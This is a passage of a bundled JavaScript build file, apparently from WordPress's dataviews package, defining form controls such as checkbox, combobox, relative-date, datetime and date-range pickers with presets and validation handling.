36175 /* @__PURE__ */ (0, import_jsx_runtime227.jsxs)(Stack, { direction: "column", gap: "lg", children: [
36176 /* @__PURE__ */ (0, import_jsx_runtime227.jsxs)(
36177 Stack,
36178 {
36179 direction: "row",
36180 gap: "sm",
36181 className: "dataviews-view-config__sort-controls",
36182 children: [
36183 /* @__PURE__ */ (0, import_jsx_runtime227.jsx)(SortFieldControl, {}),
36184 /* @__PURE__ */ (0, import_jsx_runtime227.jsx)(SortDirectionControl, {})
36185 ]
36186 }
36187 ),
36188 !!activeLayout?.viewConfigOptions && /* @__PURE__ */ (0, import_jsx_runtime227.jsx)(activeLayout.viewConfigOptions, {}),
36189 /* @__PURE__ */ (0, import_jsx_runtime227.jsx)(InfiniteScrollToggle, {}),
36190 /* @__PURE__ */ (0, import_jsx_runtime227.jsx)(ItemsPerPageControl, {}),
36191 /* @__PURE__ */ (0, import_jsx_runtime227.jsx)(PropertiesSection, {})
36192 ] })
36193 ]
36194 }
36195 )
36196 }
36197 )
36198 }
36199 );
36200 }
36201 function _DataViewsViewConfig() {
36202 return /* @__PURE__ */ (0, import_jsx_runtime227.jsxs)(import_jsx_runtime227.Fragment, { children: [
36203 /* @__PURE__ */ (0, import_jsx_runtime227.jsx)(ViewTypeMenu, {}),
36204 /* @__PURE__ */ (0, import_jsx_runtime227.jsx)(DataviewsViewConfigDropdown, {})
36205 ] });
36206 }
36207 var DataViewsViewConfig = (0, import_element103.memo)(_DataViewsViewConfig);
36208 var dataviews_view_config_default = DataViewsViewConfig;
36209
36210 // packages/dataviews/build-module/components/dataform-controls/checkbox.mjs
36211 var import_components119 = __toESM(require_components(), 1);
36212 var import_element104 = __toESM(require_element(), 1);
36213
36214 // packages/dataviews/build-module/components/dataform-controls/utils/get-custom-validity.mjs
36215 function getCustomValidity(isValid2, validity) {
36216 let customValidity;
36217 if (isValid2?.required && validity?.required) {
36218 customValidity = validity?.required?.message ? validity.required : void 0;
36219 } else if (isValid2?.pattern && validity?.pattern) {
36220 customValidity = validity.pattern;
36221 } else if (isValid2?.min && validity?.min) {
36222 customValidity = validity.min;
36223 } else if (isValid2?.max && validity?.max) {
36224 customValidity = validity.max;
36225 } else if (isValid2?.minLength && validity?.minLength) {
36226 customValidity = validity.minLength;
36227 } else if (isValid2?.maxLength && validity?.maxLength) {
36228 customValidity = validity.maxLength;
36229 } else if (isValid2?.elements && validity?.elements) {
36230 customValidity = validity.elements;
36231 } else if (validity?.custom) {
36232 customValidity = validity.custom;
36233 }
36234 return customValidity;
36235 }
36236
36237 // packages/dataviews/build-module/components/dataform-controls/checkbox.mjs
36238 var import_jsx_runtime228 = __toESM(require_jsx_runtime(), 1);
36239 var { ValidatedCheckboxControl } = unlock3(import_components119.privateApis);
36240 function Checkbox({
36241 field,
36242 onChange,
36243 data,
36244 hideLabelFromVision,
36245 markWhenOptional,
36246 validity
36247 }) {
36248 const { getValue, setValue, label, description, isValid: isValid2 } = field;
36249 const onChangeControl = (0, import_element104.useCallback)(() => {
36250 onChange(
36251 setValue({ item: data, value: !getValue({ item: data }) })
36252 );
36253 }, [data, getValue, onChange, setValue]);
36254 return /* @__PURE__ */ (0, import_jsx_runtime228.jsx)(
36255 ValidatedCheckboxControl,
36256 {
36257 required: !!field.isValid?.required,
36258 markWhenOptional,
36259 customValidity: getCustomValidity(isValid2, validity),
36260 hidden: hideLabelFromVision,
36261 label,
36262 help: description,
36263 checked: getValue({ item: data }),
36264 onChange: onChangeControl
36265 }
36266 );
36267 }
36268
36269 // packages/dataviews/build-module/components/dataform-controls/combobox.mjs
36270 var import_components120 = __toESM(require_components(), 1);
36271 var import_element105 = __toESM(require_element(), 1);
36272 var import_jsx_runtime229 = __toESM(require_jsx_runtime(), 1);
36273 var { ValidatedComboboxControl } = unlock3(import_components120.privateApis);
36274 function Combobox3({
36275 data,
36276 field,
36277 onChange,
36278 hideLabelFromVision,
36279 validity
36280 }) {
36281 const { label, description, placeholder, getValue, setValue, isValid: isValid2 } = field;
36282 const value = getValue({ item: data }) ?? "";
36283 const onChangeControl = (0, import_element105.useCallback)(
36284 (newValue) => onChange(setValue({ item: data, value: newValue ?? "" })),
36285 [data, onChange, setValue]
36286 );
36287 const { elements: elements2, isLoading } = useElements({
36288 elements: field.elements,
36289 getElements: field.getElements
36290 });
36291 if (isLoading) {
36292 return /* @__PURE__ */ (0, import_jsx_runtime229.jsx)(import_components120.Spinner, {});
36293 }
36294 return /* @__PURE__ */ (0, import_jsx_runtime229.jsx)(
36295 ValidatedComboboxControl,
36296 {
36297 required: !!field.isValid?.required,
36298 customValidity: getCustomValidity(isValid2, validity),
36299 label,
36300 value,
36301 help: description,
36302 placeholder,
36303 options: elements2,
36304 onChange: onChangeControl,
36305 hideLabelFromVision,
36306 allowReset: true,
36307 expandOnFocus: true
36308 }
36309 );
36310 }
36311
36312 // packages/dataviews/build-module/components/dataform-controls/datetime.mjs
36313 var import_components122 = __toESM(require_components(), 1);
36314 var import_element107 = __toESM(require_element(), 1);
36315 var import_i18n115 = __toESM(require_i18n(), 1);
36316 var import_date4 = __toESM(require_date(), 1);
36317
36318 // packages/dataviews/build-module/components/dataform-controls/utils/relative-date-control.mjs
36319 var import_components121 = __toESM(require_components(), 1);
36320 var import_element106 = __toESM(require_element(), 1);
36321 var import_i18n114 = __toESM(require_i18n(), 1);
36322 var import_jsx_runtime230 = __toESM(require_jsx_runtime(), 1);
36323 var TIME_UNITS_OPTIONS = {
36324 [OPERATOR_IN_THE_PAST]: [
36325 { value: "days", label: (0, import_i18n114.__)("Days") },
36326 { value: "weeks", label: (0, import_i18n114.__)("Weeks") },
36327 { value: "months", label: (0, import_i18n114.__)("Months") },
36328 { value: "years", label: (0, import_i18n114.__)("Years") }
36329 ],
36330 [OPERATOR_OVER]: [
36331 { value: "days", label: (0, import_i18n114.__)("Days ago") },
36332 { value: "weeks", label: (0, import_i18n114.__)("Weeks ago") },
36333 { value: "months", label: (0, import_i18n114.__)("Months ago") },
36334 { value: "years", label: (0, import_i18n114.__)("Years ago") }
36335 ]
36336 };
36337 function RelativeDateControl({
36338 className,
36339 data,
36340 field,
36341 onChange,
36342 hideLabelFromVision,
36343 operator
36344 }) {
36345 const options = TIME_UNITS_OPTIONS[operator === OPERATOR_IN_THE_PAST ? "inThePast" : "over"];
36346 const { id, label, getValue, setValue } = field;
36347 const fieldValue = getValue({ item: data });
36348 const { value: relValue = "", unit = options[0].value } = fieldValue && typeof fieldValue === "object" ? fieldValue : {};
36349 const onChangeValue = (0, import_element106.useCallback)(
36350 (newValue) => onChange(
36351 setValue({
36352 item: data,
36353 value: { value: Number(newValue), unit }
36354 })
36355 ),
36356 [onChange, setValue, data, unit]
36357 );
36358 const onChangeUnit = (0, import_element106.useCallback)(
36359 (newUnit) => onChange(
36360 setValue({
36361 item: data,
36362 value: { value: relValue, unit: newUnit }
36363 })
36364 ),
36365 [onChange, setValue, data, relValue]
36366 );
36367 return /* @__PURE__ */ (0, import_jsx_runtime230.jsx)(
36368 import_components121.BaseControl,
36369 {
36370 id,
36371 className: clsx_default(className, "dataviews-controls__relative-date"),
36372 label,
36373 hideLabelFromVision,
36374 children: /* @__PURE__ */ (0, import_jsx_runtime230.jsxs)(Stack, { direction: "row", gap: "sm", children: [
36375 /* @__PURE__ */ (0, import_jsx_runtime230.jsx)(
36376 import_components121.__experimentalNumberControl,
36377 {
36378 __next40pxDefaultSize: true,
36379 className: "dataviews-controls__relative-date-number",
36380 spinControls: "none",
36381 min: 1,
36382 step: 1,
36383 value: relValue,
36384 onChange: onChangeValue
36385 }
36386 ),
36387 /* @__PURE__ */ (0, import_jsx_runtime230.jsx)(
36388 import_components121.SelectControl,
36389 {
36390 className: "dataviews-controls__relative-date-unit",
36391 __next40pxDefaultSize: true,
36392 label: (0, import_i18n114.__)("Unit"),
36393 value: unit,
36394 options,
36395 onChange: onChangeUnit,
36396 hideLabelFromVision: true
36397 }
36398 )
36399 ] })
36400 }
36401 );
36402 }
36403
36404 // packages/dataviews/build-module/field-types/utils/parse-date-time.mjs
36405 var import_date3 = __toESM(require_date(), 1);
36406 function parseDateTime(dateTimeString) {
36407 if (!dateTimeString) {
36408 return null;
36409 }
36410 const parsed = (0, import_date3.getDate)(dateTimeString);
36411 return parsed && isValid(parsed) ? parsed : null;
36412 }
36413
36414 // packages/dataviews/build-module/components/dataform-controls/datetime.mjs
36415 var import_jsx_runtime231 = __toESM(require_jsx_runtime(), 1);
36416 var { DateCalendar, ValidatedInputControl } = unlock3(import_components122.privateApis);
36417 var formatDateTime = (value) => {
36418 if (!value) {
36419 return "";
36420 }
36421 return (0, import_date4.dateI18n)("Y-m-d\\TH:i", (0, import_date4.getDate)(value));
36422 };
36423 function CalendarDateTimeControl({
36424 data,
36425 field,
36426 onChange,
36427 hideLabelFromVision,
36428 markWhenOptional,
36429 validity
36430 }) {
36431 const { id, label, description, setValue, getValue, isValid: isValid2 } = field;
36432 const fieldValue = getValue({ item: data });
36433 const value = typeof fieldValue === "string" ? fieldValue : void 0;
36434 const [calendarMonth, setCalendarMonth] = (0, import_element107.useState)(() => {
36435 const parsedDate = parseDateTime(value);
36436 return parsedDate || /* @__PURE__ */ new Date();
36437 });
36438 const inputControlRef = (0, import_element107.useRef)(null);
36439 const validationTimeoutRef = (0, import_element107.useRef)(void 0);
36440 const previousFocusRef = (0, import_element107.useRef)(null);
36441 const onChangeCallback = (0, import_element107.useCallback)(
36442 (newValue) => onChange(setValue({ item: data, value: newValue })),
36443 [data, onChange, setValue]
36444 );
36445 (0, import_element107.useEffect)(() => {
36446 return () => {
36447 if (validationTimeoutRef.current) {
36448 clearTimeout(validationTimeoutRef.current);
36449 }
36450 };
36451 }, []);
36452 const onSelectDate = (0, import_element107.useCallback)(
36453 (newDate) => {
36454 let dateTimeValue;
36455 if (newDate) {
36456 const wpDate = (0, import_date4.dateI18n)("Y-m-d", newDate);
36457 let wpTime;
36458 if (value) {
36459 wpTime = (0, import_date4.dateI18n)("H:i", (0, import_date4.getDate)(value));
36460 } else {
36461 wpTime = (0, import_date4.dateI18n)("H:i", newDate);
36462 }
36463 const finalDateTime = (0, import_date4.getDate)(`${wpDate}T${wpTime}`);
36464 dateTimeValue = finalDateTime.toISOString();
36465 onChangeCallback(dateTimeValue);
36466 if (validationTimeoutRef.current) {
36467 clearTimeout(validationTimeoutRef.current);
36468 }
36469 } else {
36470 onChangeCallback(void 0);
36471 }
36472 previousFocusRef.current = inputControlRef.current && inputControlRef.current.ownerDocument.activeElement;
36473 validationTimeoutRef.current = setTimeout(() => {
36474 if (inputControlRef.current) {
36475 inputControlRef.current.focus();
36476 inputControlRef.current.blur();
36477 onChangeCallback(dateTimeValue);
36478 if (previousFocusRef.current && previousFocusRef.current instanceof HTMLElement) {
36479 previousFocusRef.current.focus();
36480 }
36481 }
36482 }, 0);
36483 },
36484 [onChangeCallback, value]
36485 );
36486 const handleManualDateTimeChange = (0, import_element107.useCallback)(
36487 (newValue) => {
36488 if (newValue) {
36489 const dateTime = (0, import_date4.getDate)(newValue);
36490 onChangeCallback(dateTime.toISOString());
36491 const parsedDate = parseDateTime(dateTime.toISOString());
36492 if (parsedDate) {
36493 setCalendarMonth(parsedDate);
36494 }
36495 } else {
36496 onChangeCallback(void 0);
36497 }
36498 },
36499 [onChangeCallback]
36500 );
36501 const { format: fieldFormat } = field;
36502 const weekStartsOn = fieldFormat.weekStartsOn ?? (0, import_date4.getSettings)().l10n.startOfWeek;
36503 const {
36504 timezone: { string: timezoneString }
36505 } = (0, import_date4.getSettings)();
36506 let displayLabel = label;
36507 if (isValid2?.required && !markWhenOptional && !hideLabelFromVision) {
36508 displayLabel = `${label} (${(0, import_i18n115.__)("Required")})`;
36509 } else if (!isValid2?.required && markWhenOptional && !hideLabelFromVision) {
36510 displayLabel = `${label} (${(0, import_i18n115.__)("Optional")})`;
36511 }
36512 return /* @__PURE__ */ (0, import_jsx_runtime231.jsx)(
36513 import_components122.BaseControl,
36514 {
36515 id,
36516 label: displayLabel,
36517 help: description,
36518 hideLabelFromVision,
36519 children: /* @__PURE__ */ (0, import_jsx_runtime231.jsxs)(Stack, { direction: "column", gap: "lg", children: [
36520 /* @__PURE__ */ (0, import_jsx_runtime231.jsx)(
36521 DateCalendar,
36522 {
36523 style: { width: "100%" },
36524 selected: value ? parseDateTime(value) || void 0 : void 0,
36525 onSelect: onSelectDate,
36526 month: calendarMonth,
36527 onMonthChange: setCalendarMonth,
36528 timeZone: timezoneString || void 0,
36529 weekStartsOn
36530 }
36531 ),
36532 /* @__PURE__ */ (0, import_jsx_runtime231.jsx)(
36533 ValidatedInputControl,
36534 {
36535 ref: inputControlRef,
36536 __next40pxDefaultSize: true,
36537 required: !!isValid2?.required,
36538 customValidity: getCustomValidity(isValid2, validity),
36539 type: "datetime-local",
36540 label: (0, import_i18n115.__)("Date time"),
36541 hideLabelFromVision: true,
36542 value: formatDateTime(value),
36543 onChange: handleManualDateTimeChange
36544 }
36545 )
36546 ] })
36547 }
36548 );
36549 }
36550 function DateTime({
36551 data,
36552 field,
36553 onChange,
36554 hideLabelFromVision,
36555 markWhenOptional,
36556 operator,
36557 validity
36558 }) {
36559 if (operator === OPERATOR_IN_THE_PAST || operator === OPERATOR_OVER) {
36560 return /* @__PURE__ */ (0, import_jsx_runtime231.jsx)(
36561 RelativeDateControl,
36562 {
36563 className: "dataviews-controls__datetime",
36564 data,
36565 field,
36566 onChange,
36567 hideLabelFromVision,
36568 operator
36569 }
36570 );
36571 }
36572 return /* @__PURE__ */ (0, import_jsx_runtime231.jsx)(
36573 CalendarDateTimeControl,
36574 {
36575 data,
36576 field,
36577 onChange,
36578 hideLabelFromVision,
36579 markWhenOptional,
36580 validity
36581 }
36582 );
36583 }
36584
36585 // packages/dataviews/build-module/components/dataform-controls/date.mjs
36586 var import_components123 = __toESM(require_components(), 1);
36587 var import_element108 = __toESM(require_element(), 1);
36588 var import_i18n116 = __toESM(require_i18n(), 1);
36589 var import_date5 = __toESM(require_date(), 1);
36590 var import_jsx_runtime232 = __toESM(require_jsx_runtime(), 1);
36591 var { DateCalendar: DateCalendar2, DateRangeCalendar } = unlock3(import_components123.privateApis);
36592 var DATE_PRESETS = [
36593 {
36594 id: "today",
36595 label: (0, import_i18n116.__)("Today"),
36596 getValue: () => (0, import_date5.getDate)(null)
36597 },
36598 {
36599 id: "yesterday",
36600 label: (0, import_i18n116.__)("Yesterday"),
36601 getValue: () => {
36602 const today = (0, import_date5.getDate)(null);
36603 return subDays(today, 1);
36604 }
36605 },
36606 {
36607 id: "past-week",
36608 label: (0, import_i18n116.__)("Past week"),
36609 getValue: () => {
36610 const today = (0, import_date5.getDate)(null);
36611 return subDays(today, 7);
36612 }
36613 },
36614 {
36615 id: "past-month",
36616 label: (0, import_i18n116.__)("Past month"),
36617 getValue: () => {
36618 const today = (0, import_date5.getDate)(null);
36619 return subMonths(today, 1);
36620 }
36621 }
36622 ];
36623 var DATE_RANGE_PRESETS = [
36624 {
36625 id: "last-7-days",
36626 label: (0, import_i18n116.__)("Last 7 days"),
36627 getValue: () => {
36628 const today = (0, import_date5.getDate)(null);
36629 return [subDays(today, 7), today];
36630 }
36631 },
36632 {
36633 id: "last-30-days",
36634 label: (0, import_i18n116.__)("Last 30 days"),
36635 getValue: () => {
36636 const today = (0, import_date5.getDate)(null);
36637 return [subDays(today, 30), today];
36638 }
36639 },
36640 {
36641 id: "month-to-date",
36642 label: (0, import_i18n116.__)("Month to date"),
36643 getValue: () => {
36644 const today = (0, import_date5.getDate)(null);
36645 return [startOfMonth(today), today];
36646 }
36647 },
36648 {
36649 id: "last-year",
36650 label: (0, import_i18n116.__)("Last year"),
36651 getValue: () => {
36652 const today = (0, import_date5.getDate)(null);
36653 return [subYears(today, 1), today];
36654 }
36655 },
36656 {
36657 id: "year-to-date",
36658 label: (0, import_i18n116.__)("Year to date"),
36659 getValue: () => {
36660 const today = (0, import_date5.getDate)(null);
36661 return [startOfYear(today), today];
36662 }
36663 }
36664 ];
36665 var parseDate = (dateString) => {
36666 if (!dateString) {
36667 return null;
36668 }
36669 const parsed = (0, import_date5.getDate)(dateString);
36670 return parsed && isValid(parsed) ? parsed : null;
36671 };
36672 var formatDate = (date) => {
36673 if (!date) {
36674 return "";
36675 }
36676 return typeof date === "string" ? date : format(date, "yyyy-MM-dd");
36677 };
36678 function ValidatedDateControl({
36679 field,
36680 validity,
36681 inputRefs,
36682 isTouched,
36683 setIsTouched,
36684 children
36685 }) {
36686 const { isValid: isValid2 } = field;
36687 const [customValidity, setCustomValidity] = (0, import_element108.useState)(void 0);
36688 const validateRefs = (0, import_element108.useCallback)(() => {
36689 const refs = Array.isArray(inputRefs) ? inputRefs : [inputRefs];
36690 for (const ref of refs) {
36691 const input = ref.current;
36692 if (input && !input.validity.valid) {
36693 setCustomValidity({
36694 type: "invalid",
36695 message: input.validationMessage
36696 });
36697 return;
36698 }
36699 }
36700 setCustomValidity(void 0);
36701 }, [inputRefs]);
36702 (0, import_element108.useEffect)(() => {
36703 const refs = Array.isArray(inputRefs) ? inputRefs : [inputRefs];
36704 const result = validity ? getCustomValidity(isValid2, validity) : void 0;
36705 for (const ref of refs) {
36706 const input = ref.current;
36707 if (input) {
36708 input.setCustomValidity(
36709 result?.type === "invalid" && result.message ? result.message : ""
36710 );
36711 }
36712 }
36713 }, [inputRefs, isValid2, validity]);
36714 (0, import_element108.useEffect)(() => {
36715 const refs = Array.isArray(inputRefs) ? inputRefs : [inputRefs];
36716 const handleInvalid = (event) => {
36717 event.preventDefault();
36718 setIsTouched(true);
36719 };
36720 for (const ref of refs) {
36721 ref.current?.addEventListener("invalid", handleInvalid);
36722 }
36723 return () => {
36724 for (const ref of refs) {
36725 ref.current?.removeEventListener("invalid", handleInvalid);
36726 }
36727 };
36728 }, [inputRefs, setIsTouched]);
36729 (0, import_element108.useEffect)(() => {
36730 if (!isTouched) {
36731 return;
36732 }
36733 const result = validity ? getCustomValidity(isValid2, validity) : void 0;
36734 if (result) {
36735 setCustomValidity(result);
36736 } else {
36737 validateRefs();
36738 }
36739 }, [isTouched, isValid2, validity, validateRefs]);
36740 const onBlur = (event) => {
36741 if (isTouched) {
36742 return;
36743 }
36744 if (!event.relatedTarget || !event.currentTarget.contains(event.relatedTarget)) {
36745 setIsTouched(true);
36746 }
36747 };
36748 return /* @__PURE__ */ (0, import_jsx_runtime232.jsxs)("div", { onBlur, children: [
36749 children,
36750 /* @__PURE__ */ (0, import_jsx_runtime232.jsx)("div", { "aria-live": "polite", children: customValidity && /* @__PURE__ */ (0, import_jsx_runtime232.jsxs)(
36751 "p",
36752 {
36753 className: clsx_default(
36754 "components-validated-control__indicator",
36755 customValidity.type === "invalid" ? "is-invalid" : void 0
36756 ),
36757 children: [
36758 /* @__PURE__ */ (0, import_jsx_runtime232.jsx)(
36759 import_components123.Icon,
36760 {
36761 className: "components-validated-control__indicator-icon",
36762 icon: error_default,
36763 size: 16,
36764 fill: "currentColor"
36765 }
36766 ),
36767 customValidity.message
36768 ]
36769 }
36770 ) })
36771 ] });
36772 }
36773 function CalendarDateControl({
36774 data,
36775 field,
36776 onChange,
36777 hideLabelFromVision,
36778 markWhenOptional,
36779 validity
36780 }) {
36781 const {
36782 id,
36783 label,
36784 setValue,
36785 getValue,
36786 isValid: isValid2,
36787 format: fieldFormat
36788 } = field;
36789 const [selectedPresetId, setSelectedPresetId] = (0, import_element108.useState)(
36790 null
36791 );
36792 const weekStartsOn = fieldFormat.weekStartsOn ?? (0, import_date5.getSettings)().l10n.startOfWeek;
36793 const fieldValue = getValue({ item: data });
36794 const value = typeof fieldValue === "string" ? fieldValue : void 0;
36795 const [calendarMonth, setCalendarMonth] = (0, import_element108.useState)(() => {
36796 const parsedDate = parseDate(value);
36797 return parsedDate || /* @__PURE__ */ new Date();
36798 });
36799 const [isTouched, setIsTouched] = (0, import_element108.useState)(false);
36800 const validityTargetRef = (0, import_element108.useRef)(null);
36801 const onChangeCallback = (0, import_element108.useCallback)(
36802 (newValue) => onChange(setValue({ item: data, value: newValue })),
36803 [data, onChange, setValue]
36804 );
36805 const onSelectDate = (0, import_element108.useCallback)(
36806 (newDate) => {
36807 const dateValue = newDate ? format(newDate, "yyyy-MM-dd") : void 0;
36808 onChangeCallback(dateValue);
36809 setSelectedPresetId(null);
36810 setIsTouched(true);
36811 },
36812 [onChangeCallback]
36813 );
36814 const handlePresetClick = (0, import_element108.useCallback)(
36815 (preset) => {
36816 const presetDate = preset.getValue();
36817 const dateValue = formatDate(presetDate);
36818 setCalendarMonth(presetDate);
36819 onChangeCallback(dateValue);
36820 setSelectedPresetId(preset.id);
36821 setIsTouched(true);
36822 },
36823 [onChangeCallback]
36824 );
36825 const handleManualDateChange = (0, import_element108.useCallback)(
36826 (newValue) => {
36827 onChangeCallback(newValue);
36828 if (newValue) {
36829 const parsedDate = parseDate(newValue);
36830 if (parsedDate) {
36831 setCalendarMonth(parsedDate);
36832 }
36833 }
36834 setSelectedPresetId(null);
36835 setIsTouched(true);
36836 },
36837 [onChangeCallback]
36838 );
36839 const {
36840 timezone: { string: timezoneString }
36841 } = (0, import_date5.getSettings)();
36842 let displayLabel = label;
36843 if (isValid2?.required && !markWhenOptional) {
36844 displayLabel = `${label} (${(0, import_i18n116.__)("Required")})`;
36845 } else if (!isValid2?.required && markWhenOptional) {
36846 displayLabel = `${label} (${(0, import_i18n116.__)("Optional")})`;
36847 }
36848 return /* @__PURE__ */ (0, import_jsx_runtime232.jsx)(
36849 ValidatedDateControl,
36850 {
36851 field,
36852 validity,
36853 inputRefs: validityTargetRef,
36854 isTouched,
36855 setIsTouched,
36856 children: /* @__PURE__ */ (0, import_jsx_runtime232.jsx)(
36857 import_components123.BaseControl,
36858 {
36859 id,
36860 className: "dataviews-controls__date",
36861 label: displayLabel,
36862 hideLabelFromVision,
36863 children: /* @__PURE__ */ (0, import_jsx_runtime232.jsxs)(Stack, { direction: "column", gap: "lg", children: [
36864 /* @__PURE__ */ (0, import_jsx_runtime232.jsxs)(
36865 Stack,
36866 {
36867 direction: "row",
36868 gap: "sm",
36869 wrap: "wrap",
36870 justify: "flex-start",
36871 children: [
36872 DATE_PRESETS.map((preset) => {
36873 const isSelected2 = selectedPresetId === preset.id;
36874 return /* @__PURE__ */ (0, import_jsx_runtime232.jsx)(
36875 import_components123.Button,
36876 {
36877 className: "dataviews-controls__date-preset",
36878 variant: "tertiary",
36879 isPressed: isSelected2,
36880 size: "small",
36881 onClick: () => handlePresetClick(preset),
36882 children: preset.label
36883 },
36884 preset.id
36885 );
36886 }),
36887 /* @__PURE__ */ (0, import_jsx_runtime232.jsx)(
36888 import_components123.Button,
36889 {
36890 className: "dataviews-controls__date-preset",
36891 variant: "tertiary",
36892 isPressed: !selectedPresetId,
36893 size: "small",
36894 disabled: !!selectedPresetId,
36895 accessibleWhenDisabled: false,
36896 children: (0, import_i18n116.__)("Custom")
36897 }
36898 )
36899 ]
36900 }
36901 ),
36902 /* @__PURE__ */ (0, import_jsx_runtime232.jsx)(
36903 import_components123.__experimentalInputControl,
36904 {
36905 __next40pxDefaultSize: true,
36906 ref: validityTargetRef,
36907 type: "date",
36908 label: (0, import_i18n116.__)("Date"),
36909 hideLabelFromVision: true,
36910 value,
36911 onChange: handleManualDateChange,
36912 required: !!field.isValid?.required
36913 }
36914 ),
36915 /* @__PURE__ */ (0, import_jsx_runtime232.jsx)(
36916 DateCalendar2,
36917 {
36918 style: { width: "100%" },
36919 selected: value ? parseDate(value) || void 0 : void 0,
36920 onSelect: onSelectDate,
36921 month: calendarMonth,
36922 onMonthChange: setCalendarMonth,
36923 timeZone: timezoneString || void 0,
36924 weekStartsOn
36925 }
36926 )
36927 ] })
36928 }
36929 )
36930 }
36931 );
36932 }
36933 function CalendarDateRangeControl({
36934 data,
36935 field,
36936 onChange,
36937 hideLabelFromVision,
36938 markWhenOptional,
36939 validity
36940 }) {
36941 const { id, label, getValue, setValue, format: fieldFormat } = field;
36942 let value;
36943 const fieldValue = getValue({ item: data });
36944 if (Array.isArray(fieldValue) && fieldValue.length === 2 && fieldValue.every((date) => typeof date === "string")) {
36945 value = fieldValue;
36946 }
36947 const weekStartsOn = fieldFormat.weekStartsOn ?? (0, import_date5.getSettings)().l10n.startOfWeek;
36948 const onChangeCallback = (0, import_element108.useCallback)(
36949 (newValue) => {
36950 onChange(
36951 setValue({
36952 item: data,
36953 value: newValue
36954 })
36955 );
36956 },
36957 [data, onChange, setValue]
36958 );
36959 const [selectedPresetId, setSelectedPresetId] = (0, import_element108.useState)(
36960 null
36961 );
36962 const selectedRange = (0, import_element108.useMemo)(() => {
36963 if (!value) {
36964 return { from: void 0, to: void 0 };
36965 }
36966 const [from, to2] = value;
36967 return {
36968 from: parseDate(from) || void 0,
36969 to: parseDate(to2) || void 0
36970 };
36971 }, [value]);
36972 const [calendarMonth, setCalendarMonth] = (0, import_element108.useState)(() => {
36973 return selectedRange.from || /* @__PURE__ */ new Date();
36974 });
36975 const [isTouched, setIsTouched] = (0, import_element108.useState)(false);
36976 const fromInputRef = (0, import_element108.useRef)(null);
36977 const toInputRef = (0, import_element108.useRef)(null);
36978 const updateDateRange = (0, import_element108.useCallback)(
36979 (fromDate, toDate2) => {
36980 if (fromDate && toDate2) {
36981 onChangeCallback([
36982 formatDate(fromDate),
36983 formatDate(toDate2)
36984 ]);
36985 } else if (!fromDate && !toDate2) {
36986 onChangeCallback(void 0);
36987 }
36988 },
36989 [onChangeCallback]
36990 );
36991 const onSelectCalendarRange = (0, import_element108.useCallback)(
36992 (newRange) => {
36993 updateDateRange(newRange?.from, newRange?.to);
36994 setSelectedPresetId(null);
36995 setIsTouched(true);
36996 },
36997 [updateDateRange]
36998 );
36999 const handlePresetClick = (0, import_element108.useCallback)(
37000 (preset) => {
37001 const [startDate2, endDate] = preset.getValue();
37002 setCalendarMonth(startDate2);
37003 updateDateRange(startDate2, endDate);
37004 setSelectedPresetId(preset.id);
37005 setIsTouched(true);
37006 },
37007 [updateDateRange]
37008 );
37009 const handleManualDateChange = (0, import_element108.useCallback)(
37010 (fromOrTo, newValue) => {
37011 const [currentFrom, currentTo] = value || [
37012 void 0,
37013 void 0
37014 ];
37015 const updatedFrom = fromOrTo === "from" ? newValue : currentFrom;
37016 const updatedTo = fromOrTo === "to" ? newValue : currentTo;
37017 updateDateRange(updatedFrom, updatedTo);
37018 if (newValue) {
37019 const parsedDate = parseDate(newValue);
37020 if (parsedDate) {
37021 setCalendarMonth(parsedDate);
37022 }
37023 }
37024 setSelectedPresetId(null);
37025 setIsTouched(true);
37026 },
37027 [value, updateDateRange]
37028 );
37029 const { timezone } = (0, import_date5.getSettings)();
37030 let displayLabel = label;
37031 if (field.isValid?.required && !markWhenOptional) {
37032 displayLabel = `${label} (${(0, import_i18n116.__)("Required")})`;
37033 } else if (!field.isValid?.required && markWhenOptional) {
37034 displayLabel = `${label} (${(0, import_i18n116.__)("Optional")})`;
37035 }
37036 return /* @__PURE__ */ (0, import_jsx_runtime232.jsx)(
37037 ValidatedDateControl,
37038 {
37039 field,
37040 validity,
37041 inputRefs: [fromInputRef, toInputRef],
37042 isTouched,
37043 setIsTouched,
37044 children: /* @__PURE__ */ (0, import_jsx_runtime232.jsx)(
37045 import_components123.BaseControl,
37046 {
37047 id,
37048 className: "dataviews-controls__date",
37049 label: displayLabel,
37050 hideLabelFromVision,
37051 children: /* @__PURE__ */ (0, import_jsx_runtime232.jsxs)(Stack, { direction: "column", gap: "lg", children: [
37052 /* @__PURE__ */ (0, import_jsx_runtime232.jsxs)(
37053 Stack,
37054 {
37055 direction: "row",
37056 gap: "sm",
37057 wrap: "wrap",
37058 justify: "flex-start",
37059 children: [
37060 DATE_RANGE_PRESETS.map((preset) => {
37061 const isSelected2 = selectedPresetId === preset.id;
37062 return /* @__PURE__ */ (0, import_jsx_runtime232.jsx)(
37063 import_components123.Button,
37064 {
37065 className: "dataviews-controls__date-preset",
37066 variant: "tertiary",
37067 isPressed: isSelected2,
37068 size: "small",
37069 onClick: () => handlePresetClick(preset),
37070 children: preset.label
37071 },
37072 preset.id
37073 );
37074 }),
37075 /* @__PURE__ */ (0, import_jsx_runtime232.jsx)(
37076 import_components123.Button,
37077 {
37078 className: "dataviews-controls__date-preset",
37079 variant: "tertiary",
37080 isPressed: !selectedPresetId,
37081 size: "small",
37082 accessibleWhenDisabled: false,
37083 disabled: !!selectedPresetId,
37084 children: (0, import_i18n116.__)("Custom")
37085 }
37086 )
37087 ]
37088 }
37089 ),
37090 /* @__PURE__ */ (0, import_jsx_runtime232.jsxs)(
37091 Stack,
37092 {
37093 direction: "row",
37094 gap: "sm",
37095 justify: "space-between",
37096 className: "dataviews-controls__date-range-inputs",
37097 children: [
37098 /* @__PURE__ */ (0, import_jsx_runtime232.jsx)(
37099 import_components123.__experimentalInputControl,
37100 {
37101 __next40pxDefaultSize: true,
37102 ref: fromInputRef,
37103 type: "date",
37104 label: (0, import_i18n116.__)("From"),
37105 hideLabelFromVision: true,
37106 value: value?.[0],
37107 onChange: (newValue) => handleManualDateChange("from", newValue),
37108 required: !!field.isValid?.required
37109 }
37110 ),
37111 /* @__PURE__ */ (0, import_jsx_runtime232.jsx)(
37112 import_components123.__experimentalInputControl,
37113 {
37114 __next40pxDefaultSize: true,
37115 ref: toInputRef,
37116 type: "date",
37117 label: (0, import_i18n116.__)("To"),
37118 hideLabelFromVision: true,
37119 value: value?.[1],
37120 onChange: (newValue) => handleManualDateChange("to", newValue),
37121 required: !!field.isValid?.required
37122 }
37123 )
37124 ]
37125 }
37126 ),
37127 /* @__PURE__ */ (0, import_jsx_runtime232.jsx)(
37128 DateRangeCalendar,
37129 {
